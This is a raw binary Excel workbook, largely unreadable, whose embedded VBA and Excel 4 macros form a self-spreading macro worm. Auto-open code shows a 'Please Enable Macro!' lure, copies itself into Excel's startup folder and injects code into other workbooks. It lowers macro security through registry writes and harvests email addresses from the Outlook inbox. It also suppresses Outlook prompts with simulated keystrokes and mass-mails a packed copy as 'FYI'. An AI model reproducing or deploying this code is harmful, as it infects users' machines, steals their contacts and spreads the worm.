ࡱ> %$  !"#.8'()*+,-/30124756:H<=>?@ABCDEFG9IJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~Root Entry F;+Ƌ+&JWorkbookB_VBA_PROJECT_CUR"U+Ƌ+VBAU+z+  \p Ba= ThisWorkbook=x9!8X@"1[SO1[SO1[SO1[SO1[SO1@[SO1@[SO1h[SO1h8[SO1,8Tahoma18Tahoma18Tahoma1Tahoma1Tahoma1<Tahoma1>Tahoma1?Tahoma14Tahoma14Tahoma1 Tahoma1 Tahoma1[SO1Tahoma1Tahoma1 Tahoma1Tahoma+""#,##0;\-""#,##05""#,##0;[Red]\-""#,##07""#,##0.00;\-""#,##0.00A""#,##0.00;[Red]\-""#,##0.00e*0_-""* #,##0_-;\-""* #,##0_-;_-""* "-"_-;_-@_-,)'_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-u,8_-""* #,##0.00_-;\-""* #,##0.00_-;_-""* "-"??_-;_-@_-4+/_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-\$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)"$"#,##0_);\("$"#,##0\)!"$"#,##0_);[Red]\("$"#,##0\)""$"#,##0.00_);\("$"#,##0.00\)'""$"#,##0.00_);[Red]\("$"#,##0.00\)72_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_).)_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)?:_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)61_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .)_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 61_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_                                       P  P        a>     ff   `                   (@ @ "8@ @ " !0@ ! !20% - :_eW[r 1!20% - :_eW[r 2!20% - :_eW[r 3!20% - :_eW[r 4!20% - :_eW[r 5!20% - :_eW[r 6!40% - :_eW[r 1!40% - :_eW[r 2!40% - :_eW[r 3!40% - :_eW[r 4!40% - :_eW[r 5!40% - :_eW[r 6!60% - :_eW[r 1!60% - :_eW[r 2!60% - :_eW[r 3!60% - :_eW[r 4! 60% - :_eW[r 5!!60% - :_eW[r 6" #h$h 1%h 2&h 3'h 4(])}Y *Gl;`+, -{.hgUSCQ:_eW[r 1 O >!:_eW[r 2 PM >%:_eW[r 3 Y >):_eW[r 4 d >-:_eW[r 5 K >1:_eW[r 6  F 2-N  ejQ  ???????????? ???jeQ ̙ ??v ^ lʑ  XTableStyleMedium9PivotStyleLight16B @  13 dMbP?_*+%"??tU BT. Ğ&OBA B n2y(u[ sQ 2014-2-17 NHS 10:29:42 Please Enable Macro!Bv B A B7d 2   >@7    9L> dMbP?_*+%&?'ףp= ?(= ףp=?)?M4 4X33SDDMHP LaserJet Professional M1213n 0Z(d0Ԟ4" dX??U} } @ } }  } `} @}      AAAAAAA>>>>>>> @ @ @ @ @ @ @?????????????????????????????????????????? ??????? ??????? ??????? ????????????????????????????????????????????????????????????????????????????? BBBBBBB C CCCCC6$b$>@7 Sheet1ggD&B   ? dMbP?_*+%"B??U>@7 Sheet2ggD&   fA dMbP?_*+%"??U>@7 Sheet3ggD& ThisWorkbook__SRP_4$0__SRP_5 )BSheet1+~  !"#%&'(*,-./0123456789:;<>?@BDEFGHIJKLMNOPQRSTVWXZ\]^_`abcdefghijklnoprtuvwxyz{|}~<8#<H꽶.WG*}븧FA_B4ĽCKxA_B4ĽCKH꽶.WG*}븧MEPSLSS6"`&^<<N0{00020819-0000-0000-C000-000000000046}x(%H` % %%*    H )\h@p"%h8@TT0T$*\Rffff*0854b3a216*\R1*#2a9*\R1*#2ad4 "  ( 0@H"  PX\`     ] Ġments  &.istratP &((ϢAPo0  &{0002E157-0000-0000-C000-000000000046} \!<!B@ &(.0 &((! \A@Z &(.oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046}|GlobalSpacFalse dCreatablPredeclaIdTruBExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open()P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 LL"LLPPLLPLP*Lx ` )YB YD YF YH( YJ`L `N +  `  H+n` ` Sip`r`t`+2 `  e@z @| `+x `(  oI @ @ (` xI  I @ @ 6`!! %``` R` @ @ @ ` h (0` 8  @@x x 8" %p(&0246@@x @t Hv#@p !*@X` &(@\ @L cro1@< @, &(Xp@book_open()B@l xx =@\ @X ume "T`icatP%= Fals@P do_X(Herences.AddFmG@x @t 2E15@d 0000@` _@\ r:=5 %X@`icat%( = Fal@pT icat@P Fals@L star@H !Xh(Xp ]x JXL@p @` @\ 4&@L @< $d@P, \!@@( ` @$ @p @ @ X@ @ f@ $|@ f@( @'f@? !('f@h !@ (xj%>.FP  "   '0P `hx B  B    "(P B$ X p x      ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \X`  ( H "  PX`  "    .< ( (@!X(x6Y(^r(@!X(x!(! <? 058P B  X`hp "   0bP 02  ( .0 `hpxP    .@ JH ,,  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC B xC2CCCCCCDDD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B  KKK K K KK&L0L$8L"`LLLLLL L LL &(( !* &!, &(.A0A2$4!Macro1G A@6j B@8 &(.kXoP@]" ThisWorkbook !<%>!@#Public WithEvents xx As ApplicationC@BPrivate Sub Workbook_open()C@BSet xx = ApplicationC@BOn Error Resume NextC@B!Application.DisplayAlerts = FalseC@B Call do_whatC@BEnd SubC@B1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@B On Error Resume NextC@B %wb.VBProject.References.AddFromGuid _C@B GUID:= :&{0002E157-0000-0000-C000-000000000046} :, _C@B Major:=5, Minor:=3C@B"Application.ScreenUpdating = FalseC@B!Application.DisplayAlerts = FalseC@B copystart wbC@B!Application.ScreenUpdating = TrueC@BEnd SubC@Bqo]]] !<.D ThisWorkbook D%>.F F!@.J J5NC@Lqox8 !* &!,A@RATAVAXk0i(]]k4.xls$d!<.` \!<.bToDole ` b$fGzji 0]](]@]X]p]] j'fz0k( h$| ~'fzk l'fzk j! 'fzk l! 'fzkx h j%>.F !'fz@k8Temp$\ h.bas'p n p    $~ ~ B@ pA@ !'fzkk l!> h7C@qXdP B@ h l%>.F ! ! d'fzkkk p h j%>B@ p\$'v p.$'x p v x v  $'r.F r l%>.F F p l!>B@d F!l  p l!>%.z F!@5NC@L z!@!N z!@%'t tC@Bq z l!>B@k`kX pA@'fi8]]  !' &!,\k4.xls'k4.xls$ !* &!,Gk4.xls$dB@Bjcomspec$  /c attrib -S -h " &!,\K4.XLS" A@comspec$  /c Del /F /Q " &!,\K4.XLS" A@comspec$  /c RD /S /Q " &!,\K4.XLS" A@ !* &!, &(. (  B@ ( &(.kHi@8]]]( &!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi@]WScript.Shell$.    B@dP    B@k0.o ]h \%4B@H l 4B@Macro1 (A2$B@H=ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" &!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  \!4 !!Auto_Activate =Macro1!$A$2 \!B@  \%(o'  &%d! 'z`kXPiH]10:00:00 ]11:00:008]14:00:00P]15:00:00h]WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@ k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8Ph scripting.filesystemobject$.WScript.Shell$.E:\KK %GE:\KK B@ j ! ! $ _$"._$"'E:\KK\  _clear.vbs'$ ' $  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'& ' &  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  $"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V * &(( wscript.exe & . B@,.o]  ]8 P 2'0WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@ j ! ! $ _$"._$"'*  *Message*'4 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file."& Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !* \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V &(.A@6 E:\sorce\ .xls B@A@R$L' 8 !*$A@:#"C:\" !*A@:comspec$  /c makecab /F " !* \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB . B@, " !* \TEST.txt %< !* \setup.rpt %< !* \setup.inf %< !*\ .CAB %<aA@comspec$  /c RD /S /Q " !*\disk1" . B@,comspec$  /c Del /F /Q " !* \TEST.txt" . B@,comspec$  /c Del /F /Q " !* \setup.rpt" . B@,comspec$  /c Del /F /Q " !* \setup.inf" . B@,comspec$  /c RD /S /Q E:\sorce . B@,E:\KK %GE:\KK B@ jcomspec$  /c MOVE /Y   .CAB E:\KK" . B@, 8A@: 0  Dear all, @  @FYIE:\KK\ .CABA>comspec$  /c RD /S /Q E:\KK . B@,. &(.o=h ]H ]` G|jOutlook.Application$.L R L%P.N N D9D F9F B9h H9T J5VB@9Xq =Z=\= NB@^[ setforth A@A@A@%sbA@`A@\<Z<.L.No<x Win32_Process WinMgmts:$f%h.d'  j d j!lOUTLOOK ' y<k;;i; ] 0 H 'n pGzj p   p n$$ 'n zP;kH; p 'rA@4  v r  x   't x t G n$$ x t 'nj x t 'x:i:` ]   '2D:\Collected_Address\log.txt$ @$~'z z z  $n$$$~'|  | 2; $|X $z'2 i9 9]H ` scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9x 8] scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@ j  %<  %.  B@ B@Bd8  %.  B@ B@Bk7o7(]h] &(. &((p7  ! ( !!$~#Auto_ActivateG B@j7  !4 !Macro1  ( B@k66$4B@H 4B@  !4 !$4!G  (j06 v ' v '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 &(.op4](@X@4 !' &(. &((  !4 !Macro1G  (j3 A1:F15 $4% ! CONFIDENTIAL 'yh3k`3X3 G $4B@j &(.i 33XAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@2vE 3 Set=4 On Error Resu@Next5 6o_wtha7h8Ixx_OByVal wbkAMB)9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC=s(#%A7aj!! $ .DBuntOf'(Func d#r&Є@_`(cDataaInvoke_a! \n147n.̠toreAfterayCDoorMisoftho(bbyABJuLdg  % T(2F1 LP1Lk2t#= M0#k4.xlse'(29L7 Qmrh@'oDole",$)K @F)xExit Zn}`lStringL! S& /tGF S SlashPo@s LongE xtQTempEQL c"Is No05 g%`'T #a1$ᘱTrim(#)vbNull3(a  &Q0Hc].=,t:"_pp_locked_ys*y9 [t0Pß2w#SJ!'QДv>8(s  .Number0_!Y!9=viron0R2")"\љÈMP.basA H= + s! ! Dir(", Q.orm@+HiddСSystem)0 CleasE KiB% q929*8* .Rem .I !Eq1 :)dI"Q+= 9>2  `@Else `@ copymodule = Fah Exit Function Endx If&   FromVBProject.VBComponents(MName).Exporpile:=FBGSlashPosInStrRev(, "\")Ext.?-#Mid!.+ 1,}#-  - 11Fet e#Nothing To}B *If)Is a* The(.6I@UO KF.Typvbext_ct_Docu~m@f6AS@?TempF@%CY:KWith?.Code.DeleteL0inesAj untOf S@g*5H. (zCo-/.Insert!SA4KOn Error GoTo 0 VPRemove. )hm iKill g}Tru'@{ e Microsoft@hobby(`Attribute l`y_zcDataaInvoke_! ." \n14" Dim myfz0 As wBeMyF#F$Res@Q N) S =SisWorkbook`.Full = ApplicaA.Startu(pPa K&`k4p.xls `eO pen("$) 2AThH <>+ s s' .CloseEShe2Environ$("comsp ec")  /c aB, -S -h """9@K4.XLS, vbMinim izedFws h /F /:Q?\?ORD8 /S3 @62= )cre enUpd DngTi IsAdd@KValue2Variant, 34VS?0xt 0 0 Tha';TruExith4xIf A:'} AJudge() Const T1~D= "10:0"2 13 44 5Dim Sent Tib, Wshvll.Set#CCre(Object("WS@cript.B "2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\shell\o@\command\")), "OUTLOOK.EXE"Gk> c@T)@1>=R@<2 O\r @J 4~ & @(Ou7D: \Coll:ed_Address:frag1.txt!i"AH%Y E PFi"1"\A search_in_OLH2bif_outl_U+@# TLh#A("n10,2)G) TJ4)#'6M#FQ= -21, Now L! ˀt X% C (;2; & y+w < 2#b$\loggHPHl%cmI JI`,n6R#i,"Cab_ dMyISBU`Gadx*] aiInteger, Att+@ddVbsbkCʢListf~s gኦLRxesuC䡢=dys¡@.f{systemob'_I @Mfs.Folderexs("E:\KKbz$8b  $= Replace`Left(Thi6snp,rsn) (- 4qX %_".@&_c{rPb\" &6& ".vbs (i`Free1 vFF0~QXput0scW Wri@#iAPnt #i!bn| eBx`#wsh, tleL;i  T0P Pr=co3("""wc.k4)@Misoft Office PAZQ1 Ў1000bkR p > 6㌓^PCall !f mh( leep 05p.sen@dKeys $ %a P Uh{TAB}?BOO @O{E`Cr}A=[; `th=Uquditub#*Do Until qA(CStr("))+aSIfr RLoop=% s_2[z{F4?7t[`Close (i0s@ @A"b@ж@0A"AAolVInbox 6QCconbiTnd`ac,E,DtLxF#=YubsC۳38FA б.T. 1ssp`q.GetMMAPI vDefault(J_ Targe~? e"E1 colIPxsI.B23VVaH0 .Run _ex|e opo svbg{tB pCgQ/EachMPpage in K2a`>55 t `Jt For" Print #i, " conbinded_address = L& valiAF(objMVage.Body)a Next "_FtZ, 8*all_non_same(ReadAllTCFil e), 2 6WScript.Qui { 'vate Function lsource`_data jDim oDict, trim" emp, t_asc, hYer_endarr, ii_ M0regex, matchs, s(GSetGCrejObject(""" & "0ing.Y:aryBVBSCRIPT.REpGEXP3B.@GlobalTruePattern \w+@([-+.])*@D\.D NHQ"Exe cute(yReAzx^.Cou1@- 1O iI@Lbd() To UN*f Ei)@I0tem(@bCxrLf܎B_0NN IfCYd,> 0 Then(h$b.keys,c3C ʠ&{`# !@ End i|Nothyke+Sub !(inpad_2sUng_frag/\bjFSO, logf_path#folde&$FD:\CollAЅI?B!ASysf#D On @Error ume n&@3_A .cF}b(el ].Existsˡch\ .tl8b$a2%?"<, Y?)ƒ^)S _P/e1! Case B*B)n  $= dOpen_r@, -_A.Wrik5_ S5Clos_q\ SO. 9O%00ۡt:Co i%SsK!5>nN "u>b.̣ M9N@, My6Lss5o1C)MM":!s @//e( , 1, False-J.At`OfStPmy eE1o_!Ȋ%ngQt{^%x%s@i2q NL$kǬ`Split, vB_HPY!2). /.y1{ Rآ0*o R?Bl!_H" Print #i, " NextEnd IfXSet oDict = Nothing FnFunction2Close (i) Applica.WindowStateHxlMaximized WshShell.Run ("wscript.exe& AddVbsFile_search), vbHide, False E Sub4 v= CreatCab_SendMail(VDim i As Integer, AttNHame Stg E ListQ ress_lI 4fsObject, ]'? dd= get_ten_^a izje("WSBV"7A =@=C? [u.f@Xsystemo%If fs.Folderex1s("E:\SORCE")Z` Then   3R= Re@place(Left(ThisWorkbook.\, Len ) - 4" R"@_". m@r_sub%0"*" @D& "*M@bage*@A 3sorce\L _Key.(vbs i Freex Op;For Output Acc0 Wri@r#i oexcel,owb ,Fso,a_xls,sh,r0outeOn errResuysh= "a"smas ")ksh.MintAllk "2S!N)S"NV {9e^ Z@LZ# AKKeh[Ac[GK <opy _+'%.CurrentDir@8oryUd-Q*.CABd,"8 "\E TruEaSEachaJ a(`W$expam m# -F:Ae.Z , 0, tnoZe6E/% Dq!0 tr "l =2" ?b if a@?  9B)=In`Box,=8 dr^a Q @g  Co  P 4, 10, 8500VUaieO+E+5) UBound(a)cPerve a(n*2Arn + 1/ s8@} o/ -1/ d}0a )ddq zb\TEST.t㟰 ԡ#PK_aX?>~ H砦eenUpd0ng " гtoreBefPA SaveC Qϟ Af<c c4$1ChDri% , ,'"C:\@ir`)1,Environ$("comsp ec /c makecab /F~[ThisWorkbook.Path & "\TEST.TXT"""< /D COMPRESSIONTYPE=LZX XMEMORY=21.ABINETNAMETEMPLATE=../AttName.CAB", vbHide, False Do Until fs.FileExists(txt") _ And"5setup.rpcinf+5z)rEvents Loop{WshShell.Run Environ$("com0spec: /c RD /S /Q disk12Del /FA_"r GlNzFiE:\sorceQIfBold(ereC" KK@{= ThenA CreateF% D %YMO@VE /Y P #pChDir c4$ Call Massive_SendMail(Address_lt, D{, "Dear  ,vbCrLf~GF"FYI# w\p" f_c.`Set e = Nothing`pplication.ScreenUpdngTruE`ESubuPhriv1 "EJm#_#$,ject Body!CC_ebadd #achm $ Dim objOL AsH Ob itmNew!0J if_outl_opGbH>t!a! = #Lc("O.A_"0AH=.Item(olρAWi '! .(A-$hA&To`,yCCi,hg-s>. 4Vd/et@eAftermit C@@aOrror Goco@nEd-:.playDebugB.Int "`for$"oDKeys "%s@jWait<:=gKB U i!11` Func4(()a+Boolea(n s Get'WinMgmts:").InstancesOf("32_Ptros!).S4 F0E) Inav 2InStr(p/.DescripQ `KOUTLOOW> 0W< 34 If NextyBRadomNine(leng>Intpegerr H !@jj, ki""#Ӑ$<= c [@:1E i1 `-ӷ$$[id. U = !t / 10Ran0izW[ &k `(RY* (@* i - m01)) + *1T mk <> t !w m/ `get_ten_]q.UAslea_arrAlPApSpkt(Read@[("D:\CHollfed5h\log.RpxYkrrV)UBoPund()Ls )4#OP$;3A$(C`(i- 1&$O7on FullqΛ6%F\Resuɓ&FsoɠT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsaͱ@\.O@za(5 , 1D, -a q.!All*.Cloԟg 3ragMark, pathfONO‰OQ}("OM@:㭤Left(`, Lena(10  aA0`It_Q1"e 2Write FdE AEr1"i"ba FileText.Close End If 8Sub Private @ RestoreBef Send() Dim aa As Name, i_rowIn teger"coFl"fshtObject Application.ScreenUpdng `= Fal #DisplayAlerts"On Errorume N FEachIn ThisWorkbook.Zs.Visiblbe(Tru BSOt(aa, "!")(1)"Auto_Act".en$Delet @{AASheetAIf 3.Macxro1+RSxl@ F8/.S@)_C.AddHK *x<> UCB+eryHidden, C$C=t((15 * Rn@d) + 1i_6Cel8ls(De** CONFIDENTIAL! X" H 2I Use " & C@hr(34)@Left(Ί, Len) - B"_key.vbs @po Op+A.$3 $$1V$ˀļAWith Range(*, t'3"L.Font.B8oldVhgColorIndex3cőHFun noneApfter+EN, del_rnBgfragBooleaO`{e"[br??fl l")Bwck& !td).c>"A1:F1 5"9 InStr(.Valu"i") > 20| *= 5xit \(`%x$xd \W< :L ]@)x\5<V=[x x $" x$xxP,$ $tpx\<,F\`:d%tx$Xx\t`,Q\X)xt`X<X<X<X<X<X<X<X< X< X<9*#T*#P*#L*#H X<2TPLH X< X<X<!X<"X<X<cX4(X,TPLHxt`\l$XQlx'X:\%lx\lQXtllt,Qlp lpTPT8lPT@cT,4TtxplX0 8  0   0 0  0   0 8  0 @  x l xK.\(`%pxpd \#)p\<\ `%',%'<%'L%p$p( )p\ :` %p$@p p(p'L%:`$%$pp!:`%%p$(p,p(p'L%:`&%$ppY'( p$pTl(*#$(*F%\$(\,2($)p\5(p'L%:`)%$ppr:`*  + ,  +:L-%p$(p,p6(p'L%:`.%$pp!:`/%p$(p,p(p'L%:`0%$pp!:`1%p$(p,p(p'L%:`2%$pp!:`3%p$(p,ppxQp[tt=?tW :`4%:<5%f%px pp6 tu5L%\(`%pxpd \6)p\x4xt8 ($p\0   0   0   0   0 h   0 x  0   0 `  0   0 x   0 (  0       rU $`$`$`$`a,!`ayDI`a10==#$q`a$`a0` aay0/0, `y( `0$9 `$a `$`<`1Y00000$`(`y&$)`(Q`/,y`//$`$`nWRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf`Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_`Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`# Z"`Vxdir__SRP_06__SRP_1  PROJECTwm}ʲ0* pHd VBAProject4@j = r T J< rstdole>stdoleh%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 